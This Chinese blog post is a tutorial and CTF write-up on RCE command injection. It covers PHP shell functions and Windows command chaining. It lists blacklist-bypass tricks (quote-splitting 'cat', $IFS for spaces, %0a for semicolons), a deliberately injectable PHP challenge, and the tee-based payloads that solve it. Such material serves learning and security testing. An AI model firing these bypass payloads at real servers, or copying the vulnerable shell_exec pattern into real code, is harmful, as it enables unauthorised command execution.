RCE命令注入

本文详细介绍了RCE漏洞的概念,包括其分类和PHP中执行系统命令的方法,如system(),shell_exec(),exec(),和passthru()。特别关注了命令注入的过滤技巧和Windows系统命令的拼接方式。
摘要由CSDN通过智能技术生成

目录

1.什么是RCE

2.RCE漏洞分类

3.命令注入

(1)什么是命令注入

(2)RCE命令注入分类

PHP执行系统命令的4个方法 :

windows系统命令拼接方式

Rceeee(web)


cd查看文件夹下的文件 

1.什么是RCE

​ 远程命令/代码执行漏洞,简称为RCE漏洞,可以直接向服务器后台远程注入操作系统的命令或者代码,从而拿到服务器后台的权限。RCE分为远程执行命令(执行ping命令)和远程代码执行eval。

2.RCE漏洞分类

命令注入、文件包含、eval执行

3.命令注入

先了解一下Linux文件查看常用命令:

  • cat:由第一行开始查看文件
  • tac:cat倒着写,由最后一行到第一行查看
  • more:逐项查看文件,按空格继续,最后自己退出
  • less:逐行查看文件,按方向键,不可主动退出,按q退出
  • head:只查看文件前十行
  • tail:只查看文件后十行
1)什么是命令注入

命令注入就是通过控制外部的参数达到执行系统命令的效果

2RCE命令注入分类

无过滤、过滤cat、过滤空格、过滤目录分隔符、过滤运算符、综合过滤练习

1.过滤cat    使用单引号 c’’at,使用双引号 c””at,利用Shell 特殊变量绕过 ca$@t

2.过滤空格      < 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

3.过滤目录分隔符     可用&&运算符将命令连接

4.Flag可用正则表达式f***替换

5.用%0a替换;

PHP执行系统命令的4个方法 :

*system() 函数:system 函数执行系统命令,并将输出直接打印到标准输出。它的返回值是命令的最后一行输出或者返回状态码(命令成功执行返回0)。

*shell_exec 函数:shell_exec 函数执行系统命令,但它将命令的输出作为字符串返回,而不是打印到标准输出。如果命令没有输出,则返回空字符串。

*exec 函数:exec 函数执行系统命令,并将输出存储到一个数组中,每一行命令输出作为数组的一个元素。它的返回值是命令的最后一行输出或者返回状态码。

 *passthru 函数:passthru 函数执行系统命令,并直接将命令的输出发送到标准输出。它不会返回任何输出结果,而是直接将输出显示在屏幕上。
                       
原文链接:https://blog.csdn.net/csjjjd/article/details/135004789

windows系统命令拼接方式

|:直接执行后面的语句。

||:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假。

&:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。

&&:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

Rceeee(web)
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
    if(!preg_match("/\;|\&|\\$|\x09|\x26|tac|cat|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
        return($cmd);
    }
    else{
        die("你的想法很有趣.....");      
      }
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>

preg_match 正则匹配了很多东西,cat跟flag也被过滤了

shell_exec 让页面无回显

linux中 “tee” 是从标准输入读取,再写入标准输出和文件

在PHP中  ">"  是表示把什么写入什么文件的意思。

无回显,那就把它写进一个文件,然后访问这个文件即可

?cmd=ls /|tee 1.txt

?cmd= c''at \f*** |tee 1.txt(写进1.txt文件里)

  • 4
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值